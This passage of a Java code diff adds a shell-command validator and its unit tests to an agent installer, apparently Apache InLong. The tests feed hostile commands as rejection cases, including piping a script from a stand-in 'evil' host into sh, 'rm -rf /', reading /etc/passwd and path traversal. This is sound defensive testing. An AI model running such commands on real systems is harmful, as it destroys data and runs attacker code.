  2. Metacharacter blacklist: reject the whole command if it contains a backtick, + * {@code $(}, {@code &&}, {@code ||}, {@code >}, {@code >>}, {@code <}, or a line break + * character. ({@code |} and {@code ;} are already consumed by the previous layer.)
    3. + *
  3. argv[0] whitelist: the first token of every pipe segment must appear in + * {@link #COMMAND_WHITELIST}, otherwise {@link #RULE_NOT_IN_WHITELIST}.
    4. + *
  4. Argument policy: for write-oriented commands, path arguments are tilde-expanded, + * normalized via {@link Path#normalize()}, and then checked with + * {@link AllowedRootsResolver#isUnderAllowedRoot(Path)}; {@code sh}/{@code bash} may not + * receive a {@code -c} flag ({@link #RULE_FORBIDDEN_SH_C_FLAG}).
    5. + *
+ */ +public final class ModuleCommandValidator { + + /** First-level command whitelist. */ + public static final Set COMMAND_WHITELIST = buildImmutableSet( + "cd", "sh", "bash", "ps", "grep", "awk", "kill", "rm", "mkdir", "cp", "mv", "ln", + "tar", "unzip", "chmod", "chown", "echo", "cat", "test", "[", "true", "false", "java"); + + /** Write-oriented commands whose path arguments must live under an allowed root. */ + public static final Set WRITE_LIKE_COMMANDS = buildImmutableSet( + "rm", "cp", "mv", "mkdir", "ln", "chmod", "chown", "tar", "unzip"); + + private static Set buildImmutableSet(String... items) { + Set s = new HashSet<>(items.length * 2); + Collections.addAll(s, items); + return Collections.unmodifiableSet(s); + } + + /** Substring blacklist for the metacharacter check. */ + private static final String[] META_CHAR_BLACKLIST = new String[]{ + "`", "$(", "&&", "||", ">>", ">", "<" + }; + + public static final String RULE_DISALLOWED_META_CHAR = "DISALLOWED_META_CHAR"; + public static final String RULE_NOT_IN_WHITELIST = "NOT_IN_WHITELIST"; + public static final String RULE_PATH_NOT_UNDER_ALLOWED_ROOT = "PATH_NOT_UNDER_ALLOWED_ROOT"; + public static final String RULE_FORBIDDEN_SH_C_FLAG = "FORBIDDEN_SH_C_FLAG"; + public static final String RULE_EMPTY_COMMAND = "EMPTY_COMMAND"; + + private static final Logger LOGGER = LoggerFactory.getLogger(ModuleCommandValidator.class); + + private final AllowedRootsResolver allowedRootsResolver; + + public ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver) { + this.allowedRootsResolver = allowedRootsResolver; + } + + /** Validate a raw command string. */ + public ValidationResult validate(String rawCmd) { + if (StringUtils.isBlank(rawCmd)) { + return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd, "raw command is blank"); + } + + // Scan the whole command for metacharacters first, so a hostile sub-command cannot + // bypass the check by hiding after ';'. + String metaHit = firstMetaCharHit(rawCmd); + if (metaHit != null) { + return ValidationResult.fail(RULE_DISALLOWED_META_CHAR, rawCmd, + "hit meta char: " + metaHit); + } + if (rawCmd.indexOf('\n') >= 0 || rawCmd.indexOf('\r') >= 0) { + return ValidationResult.fail(RULE_DISALLOWED_META_CHAR, rawCmd, + "hit line-break char"); + } + + // split by ';' into sub-commands, then by '|' into pipe segments, then + // tokenize each segment into argv. + List subs = new ArrayList<>(); + String[] segments = rawCmd.split(";"); + for (String seg : segments) { + String trimmed = seg == null ? "" : seg.trim(); + if (trimmed.isEmpty()) { + continue; + } + ParsedSubCmd sub = parseSubCmd(trimmed); + if (sub == null) { + return ValidationResult.fail(RULE_EMPTY_COMMAND, trimmed, + "sub-command tokenized to empty"); + } + subs.add(sub); + } + if (subs.isEmpty()) { + return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd, + "no sub-command after split by ';'"); + } + + // run the argv[0] whitelist and the argument policy check. + for (ParsedSubCmd sub : subs) { + ValidationResult r = validateSubCmd(sub); + if (!r.isOk()) { + return r; + } + } + + // Absorb 'cd' sub-commands into the working directory of the following sub-command. + List parsed = extractCdAndBind(subs); + + return ValidationResult.ok(parsed); + } + + private ValidationResult validateSubCmd(ParsedSubCmd sub) { + for (String[] argv : sub.getPipeline()) { + if (argv == null || argv.length == 0) { + return ValidationResult.fail(RULE_EMPTY_COMMAND, sub.getRawSegment(), + "empty pipeline segment"); + } + String cmd = argv[0]; + + if (!COMMAND_WHITELIST.contains(cmd)) { + return ValidationResult.fail(RULE_NOT_IN_WHITELIST, sub.getRawSegment(), + "command '" + cmd + "' is not in whitelist"); + } + + ValidationResult r = validateArguments(argv, sub.getRawSegment()); + if (!r.isOk()) { + return r; + } + } + return ValidationResult.okPending(); + } + + private ValidationResult validateArguments(String[] argv, String rawSegment) { + String cmd = argv[0]; + + if ("sh".equals(cmd) || "bash".equals(cmd)) { + for (int i = 1; i < argv.length; i++) { + if ("-c".equals(argv[i]) || argv[i].startsWith("-c")) { + return ValidationResult.fail(RULE_FORBIDDEN_SH_C_FLAG, rawSegment, + cmd + " must not use -c to run inline scripts"); + } + } + String script = firstNonOptionArg(argv); + if (looksLikePath(script)) { + ValidationResult pathR = checkPathUnderRoot(script, rawSegment); + if (!pathR.isOk()) { + return pathR; + } + } + return ValidationResult.okPending(); + } + + if ("cd".equals(cmd)) { + if (argv.length < 2) { + return ValidationResult.okPending(); + } + return checkPathUnderRoot(argv[1], rawSegment); + } + + if (WRITE_LIKE_COMMANDS.contains(cmd)) { + for (int i = 1; i < argv.length; i++) { + String arg = argv[i]; + if (arg.startsWith("-") || !looksLikePath(arg)) { + continue; + } + ValidationResult pathR = checkPathUnderRoot(arg, rawSegment); + if (!pathR.isOk()) { + return pathR; + } + } + } + + return ValidationResult.okPending(); + } + + private ValidationResult checkPathUnderRoot(String rawPath, String rawSegment) { + try { + String expanded = expandTilde(rawPath); + Path p = Paths.get(expanded).toAbsolutePath().normalize(); + if (!allowedRootsResolver.isUnderAllowedRoot(p)) { + return ValidationResult.fail(RULE_PATH_NOT_UNDER_ALLOWED_ROOT, rawSegment, + "path '" + rawPath + "' (normalized=" + p + ") is not under any allowed root: " + + allowedRootsResolver.getRoots()); + } + } catch (Exception e) { + return ValidationResult.fail(RULE_PATH_NOT_UNDER_ALLOWED_ROOT, rawSegment, + "path '" + rawPath + "' cannot be normalized: " + e.getMessage()); + } + return ValidationResult.okPending(); + } + + /** Expand a leading {@code ~} on the Java side; {@link ProcessBuilder} does not. */ + public static String expandTilde(String path) { + if (path == null) { + return null; + } + String userHome = System.getProperty("user.home"); + if (StringUtils.isBlank(userHome)) { + return path; + } + if ("~".equals(path)) { + return userHome; + } + if (path.startsWith("~/")) { + return userHome + path.substring(1); + } + return path; + } + + /** + * Remove {@code cd DIR} sub-commands from the execution sequence and turn each of them + * into the {@link ParsedSubCmd#workDir} of the next sub-command. + */ + public static List extractCdAndBind(List subs) { + List result = new ArrayList<>(subs.size()); + File pendingWorkDir = null; + for (ParsedSubCmd sub : subs) { + String[] argv = sub.getPipeline().get(0); + if (argv.length >= 1 && "cd".equals(argv[0])) { + if (argv.length >= 2) { + String expanded = expandTilde(argv[1]); + pendingWorkDir = Paths.get(expanded).toAbsolutePath().normalize().toFile(); + } + continue; + } + if (pendingWorkDir != null) { + sub.setWorkDir(pendingWorkDir); + pendingWorkDir = null; + } + result.add(sub); + } + return result; + } + + private static ParsedSubCmd parseSubCmd(String segment) { + String[] pipeSegs = segment.split("\\|"); + List pipeline = new ArrayList<>(pipeSegs.length); + for (String pipeSeg : pipeSegs) { + String trimmed = pipeSeg == null ? "" : pipeSeg.trim(); + if (trimmed.isEmpty()) { + return null; + } + String[] argv = tokenize(trimmed); + if (argv.length == 0) { + return null; + } + pipeline.add(argv); + } + boolean piped = pipeline.size() > 1; + return new ParsedSubCmd(pipeline, segment, piped); + } + + /** + * Whitespace-based tokenizer that honours single/double quotes so that quoted spaces are + * preserved. The metacharacter layer has already rejected backticks, {@code $(} and + * friends, so no further shell-style escaping is needed here. + */ + private static String[] tokenize(String s) { + List tokens = new ArrayList<>(); + StringBuilder cur = new StringBuilder(); + char quote = 0; + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + if (quote != 0) { + if (c == quote) { + quote = 0; + } else { + cur.append(c); + } + continue; + } + if (c == '\'' || c == '"') { + quote = c; + continue; + } + if (Character.isWhitespace(c)) { + if (cur.length() > 0) { + tokens.add(cur.toString()); + cur.setLength(0); + } + continue; + } + cur.append(c); + } + if (cur.length() > 0) { + tokens.add(cur.toString()); + } + return tokens.toArray(new String[0]); + } + + private static String firstMetaCharHit(String raw) { + for (String meta : META_CHAR_BLACKLIST) { + if (raw.contains(meta)) { + return meta; + } + } + return null; + } + + private static String firstNonOptionArg(String[] argv) { + for (int i = 1; i < argv.length; i++) { + if (!argv[i].startsWith("-")) { + return argv[i]; + } + } + return null; + } + + /** {@code true} when the argument looks like a path (absolute/relative/contains {@code /}/starts with {@code ~}). */ + private static boolean looksLikePath(String arg) { + if (arg == null || arg.isEmpty()) { + return false; + } + return arg.startsWith("/") || arg.startsWith("~") || arg.startsWith("./") || arg.startsWith("../") + || arg.contains("/"); + } + + /** + * A single sub-command produced by splitting the raw command on {@code ;}. It may contain + * multiple pipe segments produced by splitting on {@code |}. + */ + @Getter + public static final class ParsedSubCmd { + + private final List pipeline; + private final String rawSegment; + private final boolean piped; + private File workDir; + private boolean allowFailure; + private boolean pipedThroughShell; + + public ParsedSubCmd(List pipeline, String rawSegment, boolean piped) { + this.pipeline = pipeline; + this.rawSegment = rawSegment; + this.piped = piped; + } + + /** Return the argv of a plain sub-command, or the argv of the first pipe segment. */ + public String[] getArgv() { + return pipeline.get(0); + } + + public void setWorkDir(File workDir) { + this.workDir = workDir; + } + + public void setAllowFailure(boolean allowFailure) { + this.allowFailure = allowFailure; + } + + public void setPipedThroughShell(boolean pipedThroughShell) { + this.pipedThroughShell = pipedThroughShell; + } + + @Override + public String toString() { + List> readable = new ArrayList<>(pipeline.size()); + for (String[] seg : pipeline) { + readable.add(Arrays.asList(seg)); + } + return "ParsedSubCmd{pipeline=" + readable + ", workDir=" + workDir + "}"; + } + } + + /** + * Validation result. When {@link #isOk()} is {@code true}, {@link #getParsed()} returns + * the split sub-commands ready for execution; otherwise {@link #getRuleName()}, + * {@link #getFailedSubCmd()} and {@link #getMessage()} describe the failure. + */ + @Getter + public static final class ValidationResult { + + private static final ValidationResult OK_PENDING = new ValidationResult(true, null, null, null, + Collections.emptyList()); + + private final boolean ok; + private final String ruleName; + private final String failedSubCmd; + private final String message; + private final List parsed; + + private ValidationResult(boolean ok, String ruleName, String failedSubCmd, String message, + List parsed) { + this.ok = ok; + this.ruleName = ruleName; + this.failedSubCmd = failedSubCmd; + this.message = message; + this.parsed = parsed; + } + + static ValidationResult ok(List parsed) { + return new ValidationResult(true, null, null, null, Collections.unmodifiableList(parsed)); + } + + /** + * Internal marker returned when a single sub-command has passed but the whole command + * is still being aggregated. + */ + static ValidationResult okPending() { + return OK_PENDING; + } + + static ValidationResult fail(String ruleName, String failedSubCmd, String message) { + LOGGER.debug("ModuleCommandValidator reject: rule={}, sub={}, msg={}", + ruleName, failedSubCmd, message); + return new ValidationResult(false, ruleName, failedSubCmd, message, + Collections.emptyList()); + } + + @Override + public String toString() { + return ok ? ("ValidationResult{ok=true, parsed=" + parsed + "}") + : ("ValidationResult{ok=false, rule=" + ruleName + ", failedSubCmd=" + failedSubCmd + + ", msg=" + message + "}"); + } + } +} diff --git a/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java new file mode 100644 index 00000000000..a5c26803d7b --- /dev/null +++ b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java @@ -0,0 +1,253 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package installer; + +import org.apache.inlong.agent.constant.AgentConstants; +import org.apache.inlong.agent.installer.conf.InstallerConfiguration; +import org.apache.inlong.agent.installer.validator.AllowedRootsResolver; + +import org.junit.After; +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; + +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.Set; + +/** + * Unit tests for {@link AllowedRootsResolver}. This class is the last line of the shell + * injection defence chain: {@code ModuleCommandValidator} ultimately delegates every path + * check to {@link AllowedRootsResolver#isUnderAllowedRoot(Path)}. The tests below pin the + * behaviours that are easy to break silently during refactors: + * + *
    + *
  • path traversal (e.g. {@code root/../etc}) is defeated by {@link Path#normalize()};
    • + *
  • prefix confusion (e.g. {@code /home/user/inlong-agent-evil} vs + * {@code /home/user/inlong-agent}) is defeated because {@link Path#startsWith(Path)} + * compares by segments, not by string prefix;
    • + *
  • the {@code agent.home} resolution order — system property first, configuration + * override second — behaves as documented;
    • + *
  • {@code installer.command.extraAllowedRoots} CSV parsing skips blank items;
    • + *
  • null / blank inputs and {@code conf == null} are handled without throwing.
    • + *
+ */ +public class AllowedRootsResolverTest { + + private String savedAgentHomeSysProp; + private String savedAgentHomeConf; + private String savedExtraRootsConf; + + @Before + public void setUp() { + // Snapshot the system property and any conf entries the tests may mutate, so we can + // restore them in @After. This keeps the shared InstallerConfiguration singleton + // clean for every subsequent test. + savedAgentHomeSysProp = System.getProperty(AgentConstants.AGENT_HOME); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + savedAgentHomeConf = conf.get(AgentConstants.AGENT_HOME, null); + savedExtraRootsConf = conf.get(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, null); + } + + @After + public void tearDown() { + // Restore agent.home system property. + if (savedAgentHomeSysProp == null) { + System.clearProperty(AgentConstants.AGENT_HOME); + } else { + System.setProperty(AgentConstants.AGENT_HOME, savedAgentHomeSysProp); + } + // Restore conf entries. AbstractConfiguration#set(key, null) removes the entry. + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AgentConstants.AGENT_HOME, savedAgentHomeConf); + conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, savedExtraRootsConf); + } + + @Test + public void ofPaths_rootItselfAndChildren_shouldMatch() { + Path root = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-root"); + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + Assert.assertTrue("root itself should match", resolver.isUnderAllowedRoot(root)); + Assert.assertTrue("direct child should match", + resolver.isUnderAllowedRoot(root.resolve("child"))); + Assert.assertTrue("nested descendant should match", + resolver.isUnderAllowedRoot(root.resolve("a/b/c"))); + } + + @Test + public void ofPaths_siblingPath_shouldNotMatch() { + Path root = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-root"); + Path sibling = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-other"); + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + Assert.assertFalse("sibling directory must not match", + resolver.isUnderAllowedRoot(sibling)); + } + + /** + * Path traversal: {@code root/../etc} normalises to {@code /etc} which is outside every + * allowed root. Regressing this check would neutralise the whole shell-injection defence. + */ + @Test + public void pathTraversal_shouldNotMatch() { + Path root = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-root"); + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + Path traversal = root.resolve("../../etc/passwd"); + Assert.assertFalse("traversal path must be rejected after normalize()", + resolver.isUnderAllowedRoot(traversal)); + } + + /** + * Prefix confusion: {@code /home/user/inlong-agent-evil} shares a string prefix with + * {@code /home/user/inlong-agent} but is a different path segment; {@link Path#startsWith} + * must reject it. If a future refactor swaps the check for {@link String#startsWith} the + * test below fails. + */ + @Test + public void prefixConfusion_shouldNotMatch() { + Path root = Paths.get("/home/user/inlong-agent"); + Path evil = Paths.get("/home/user/inlong-agent-evil/x"); + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + Assert.assertFalse("path with same string prefix but different segment must be rejected", + resolver.isUnderAllowedRoot(evil)); + } + + @Test + public void nullInput_shouldReturnFalse() { + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths( + Paths.get(System.getProperty("java.io.tmpdir"))); + Assert.assertFalse(resolver.isUnderAllowedRoot(null)); + } + + @Test + public void build_defaultRoots_shouldContainUserHomeAndTmp() { + // Ensure agent.home is not set from either source, so only the guaranteed defaults + // (user.home/inlong, user.home/inlong-agent, java.io.tmpdir) are added. + System.clearProperty(AgentConstants.AGENT_HOME); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AgentConstants.AGENT_HOME, null); + conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, null); + + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + Set roots = resolver.getRoots(); + + String userHome = System.getProperty("user.home"); + String tmpDir = System.getProperty("java.io.tmpdir"); + Assert.assertTrue("expected " + userHome + "/inlong in " + roots, + roots.contains(Paths.get(userHome, "inlong").toAbsolutePath().normalize())); + Assert.assertTrue("expected " + userHome + "/inlong-agent in " + roots, + roots.contains(Paths.get(userHome, "inlong-agent").toAbsolutePath().normalize())); + Assert.assertTrue("expected java.io.tmpdir in " + roots, + roots.contains(Paths.get(tmpDir).toAbsolutePath().normalize())); + } + + /** + * When {@code -Dagent.home} is set on the JVM (as {@code bin/*.sh} does via + * {@code BASE_DIR=$(cd "$(dirname "$0")"/../;pwd)}), it becomes an allowed root even when + * the configuration file does not mention it. + */ + @Test + public void build_agentHomeFromSystemProperty_shouldBeAdded() { + String appHome = Paths.get(System.getProperty("java.io.tmpdir"), "app-home-sys") + .toAbsolutePath().normalize().toString(); + System.setProperty(AgentConstants.AGENT_HOME, appHome); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AgentConstants.AGENT_HOME, null); + + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + Assert.assertTrue("agent.home from -D should be added: " + resolver.getRoots(), + resolver.getRoots().contains(Paths.get(appHome))); + } + + /** + * Configuration entry overrides the {@code -Dagent.home} system property. This mirrors + * the documented resolution order: system property first, config override second. + */ + @Test + public void build_agentHomeConfOverridesSystemProperty() { + String fromSys = Paths.get(System.getProperty("java.io.tmpdir"), "app-home-sys") + .toAbsolutePath().normalize().toString(); + String fromConf = Paths.get(System.getProperty("java.io.tmpdir"), "app-home-conf") + .toAbsolutePath().normalize().toString(); + System.setProperty(AgentConstants.AGENT_HOME, fromSys); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AgentConstants.AGENT_HOME, fromConf); + + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + Set roots = resolver.getRoots(); + Assert.assertTrue("conf value should be present: " + roots, + roots.contains(Paths.get(fromConf))); + Assert.assertFalse("system property value should have been overridden: " + roots, + roots.contains(Paths.get(fromSys))); + } + + /** + * When neither the system property nor the configuration key is set, the resolver still + * builds successfully and simply skips the {@code agent.home} root. Other defaults must + * remain available. + */ + @Test + public void build_noAgentHome_shouldSkipWithoutError() { + System.clearProperty(AgentConstants.AGENT_HOME); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AgentConstants.AGENT_HOME, null); + + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + // At minimum the tmpdir default should still be there. + Assert.assertTrue(resolver.getRoots().contains( + Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath().normalize())); + } + + /** + * {@code conf == null} must not throw; the resolver falls back to system property / + * environment defaults only. + */ + @Test + public void build_nullConf_shouldFallBackToDefaultsOnly() { + System.clearProperty(AgentConstants.AGENT_HOME); + AllowedRootsResolver resolver = AllowedRootsResolver.build(null); + Assert.assertFalse("default roots should not be empty", resolver.getRoots().isEmpty()); + } + + @Test + public void build_extraAllowedRoots_shouldSplitAndTrim() { + String tmp = System.getProperty("java.io.tmpdir"); + String extra = "/opt/inlong, " + tmp + "/data ,, "; // includes blanks & empty item + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, extra); + + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + Set roots = resolver.getRoots(); + Assert.assertTrue("expected /opt/inlong to be added: " + roots, + roots.contains(Paths.get("/opt/inlong").toAbsolutePath().normalize())); + Assert.assertTrue("expected trimmed second entry to be added: " + roots, + roots.contains(Paths.get(tmp, "data").toAbsolutePath().normalize())); + } + + @Test + public void build_extraAllowedRoots_blankValue_shouldBeIgnored() { + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, " "); + // Should not throw; simply produces the default root set. + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + Assert.assertFalse(resolver.getRoots().isEmpty()); + } +} diff --git a/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java new file mode 100644 index 00000000000..cd4f4492b39 --- /dev/null +++ b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java @@ -0,0 +1,240 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package installer; + +import org.apache.inlong.agent.installer.validator.AllowedRootsResolver; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ParsedSubCmd; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ValidationResult; + +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; + +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.List; + +/** + * Unit tests for {@link ModuleCommandValidator}, covering the core legal / illegal cases + * against the command shapes issued by Manager, plus edge cases such as path traversal, + * {@code sh -c} bypass and configurable extra allowed roots. + */ +public class ModuleCommandValidatorTest { + + private ModuleCommandValidator validator; + private AllowedRootsResolver defaultRoots; + + @Before + public void setUp() { + // Roots that match the commands issued by Manager. + String userHome = System.getProperty("user.home"); + Path inlongRoot = Paths.get(userHome, "inlong"); + Path tmpRoot = Paths.get(System.getProperty("java.io.tmpdir")); + defaultRoots = AllowedRootsResolver.ofPaths(inlongRoot, tmpRoot); + validator = new ModuleCommandValidator(defaultRoots); + } + + @Test + public void legal_startCommand_shouldPassAndBindWorkDir() { + ValidationResult r = validator.validate("cd ~/inlong/inlong-agent/bin;sh agent.sh start"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + ParsedSubCmd sh = parsed.get(0); + Assert.assertArrayEquals(new String[]{"sh", "agent.sh", "start"}, sh.getArgv()); + Assert.assertNotNull("cd should bind workDir", sh.getWorkDir()); + Assert.assertTrue(sh.getWorkDir().toString().endsWith("inlong/inlong-agent/bin")); + } + + @Test + public void legal_checkCommand_pipelineShouldSplit() { + ValidationResult r = validator.validate( + "ps aux | grep core.AgentMain | grep java | grep -v grep | awk '{print $2}'"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + ParsedSubCmd sub = parsed.get(0); + Assert.assertTrue(sub.isPiped()); + List pipeline = sub.getPipeline(); + Assert.assertEquals(5, pipeline.size()); + Assert.assertArrayEquals(new String[]{"ps", "aux"}, pipeline.get(0)); + Assert.assertArrayEquals(new String[]{"grep", "core.AgentMain"}, pipeline.get(1)); + Assert.assertArrayEquals(new String[]{"awk", "{print $2}"}, pipeline.get(4)); + } + + @Test + public void legal_installCommand_multiSubShouldPass() { + String cmd = "cd ~/inlong/inlong-agent/bin;sh agent.sh stop" + + ";rm -rf ~/inlong/inlong-agent-temp" + + ";mkdir -p ~/inlong/inlong-agent-temp" + + ";cp -r ~/inlong/inlong-agent/.localdb ~/inlong/inlong-agent-temp"; + ValidationResult r = validator.validate(cmd); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + // 'cd' has been absorbed as workDir, leaving four sub-commands: sh / rm / mkdir / cp. + Assert.assertEquals(4, parsed.size()); + Assert.assertEquals("sh", parsed.get(0).getArgv()[0]); + Assert.assertEquals("rm", parsed.get(1).getArgv()[0]); + Assert.assertEquals("mkdir", parsed.get(2).getArgv()[0]); + Assert.assertEquals("cp", parsed.get(3).getArgv()[0]); + Assert.assertNotNull(parsed.get(0).getWorkDir()); + } + + @Test + public void illegal_curlPipe_shouldRejectByMetaChar() { + // "&&" hits the metacharacter blacklist. + ValidationResult r = validator.validate( + "cd ~/inlong/inlong-agent/bin;sh agent.sh start && curl http://evil/x.sh | sh"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void illegal_rmSlash_shouldRejectByPath() { + ValidationResult r = validator.validate("sh agent.sh start; rm -rf /"); + assertRejected(r, ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); + Assert.assertTrue(r.getFailedSubCmd().contains("rm")); + } + + @Test + public void illegal_dollarParen_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo $(cat /etc/passwd)"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void illegal_wget_shouldRejectByWhitelist() { + ValidationResult r = validator.validate("sh agent.sh start; wget http://evil"); + assertRejected(r, ModuleCommandValidator.RULE_NOT_IN_WHITELIST); + } + + @Test + public void illegal_pathTraversal_shouldRejectByPath() { + // "~/inlong/../../../etc" expands to $HOME/inlong/../../../etc and normalizes to + // /etc, which is outside every allowed root. + ValidationResult r = validator.validate("rm -rf ~/inlong/../../../etc"); + assertRejected(r, ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); + } + + @Test + public void illegal_shDashC_shouldRejectByForbiddenFlag() { + // Use a payload without $( or && so that the metacharacter check does not fire before + // the -c check. + ValidationResult r = validator.validate("sh -c echo hello"); + assertRejected(r, ModuleCommandValidator.RULE_FORBIDDEN_SH_C_FLAG); + } + + @Test + public void bashDashC_shouldAlsoBeRejected() { + ValidationResult r = validator.validate("bash -c echo hello"); + assertRejected(r, ModuleCommandValidator.RULE_FORBIDDEN_SH_C_FLAG); + } + + @Test + public void extraAllowedRoots_shouldPermitCustomRoot() { + // Without /opt/inlong in the roots, "rm -rf /opt/inlong/tmp" must be rejected. + ValidationResult r1 = validator.validate("rm -rf /opt/inlong/tmp"); + assertRejected(r1, ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); + + // After adding /opt/inlong to the roots, the same command must be accepted. + AllowedRootsResolver extended = AllowedRootsResolver.ofPaths( + Paths.get(System.getProperty("user.home"), "inlong"), + Paths.get(System.getProperty("java.io.tmpdir")), + Paths.get("/opt/inlong")); + ModuleCommandValidator extendedValidator = new ModuleCommandValidator(extended); + ValidationResult r2 = extendedValidator.validate("rm -rf /opt/inlong/tmp"); + Assert.assertTrue("expected ok after adding /opt/inlong, got " + r2, r2.isOk()); + } + + @Test + public void chmodNumericMode_shouldNotBeTreatedAsPath() { + // "755" contains no slash and is not treated as a path; the ~/inlong/... argument is + // a path and lives under an allowed root, so the whole command must pass. + ValidationResult r = validator.validate("chmod 755 ~/inlong/inlong-agent/bin/agent.sh"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + } + + @Test + public void emptyCommand_shouldReject() { + assertRejected(validator.validate(""), ModuleCommandValidator.RULE_EMPTY_COMMAND); + assertRejected(validator.validate(" "), ModuleCommandValidator.RULE_EMPTY_COMMAND); + } + + @Test + public void backtick_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo `id`"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void redirect_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("cat ~/inlong/a > ~/inlong/b"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void newline_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("sh agent.sh start\nrm -rf /"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + // Sample 6: here-string "<<<". "<" is on the metacharacter blacklist. + @Test + public void hereString_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("grep foo <<< payload"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + // Sample 7: process substitution "<(...)". "<" is on the metacharacter blacklist. + @Test + public void processSubstitution_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("grep foo <(cat ~/inlong/x)"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + // Sample 5: variable-assignment prefix such as "PATH=/tmp/evil ls". The token + // "PATH=/tmp/evil" is not a whitelisted argv[0]. + @Test + public void varAssignPrefix_shouldRejectByWhitelist() { + ValidationResult r = validator.validate("PATH=/tmp/evil ls"); + assertRejected(r, ModuleCommandValidator.RULE_NOT_IN_WHITELIST); + } + + // Sample: append redirection ">>" hits the metacharacter blacklist. + @Test + public void appendRedirect_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo hi >> ~/inlong/log"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void 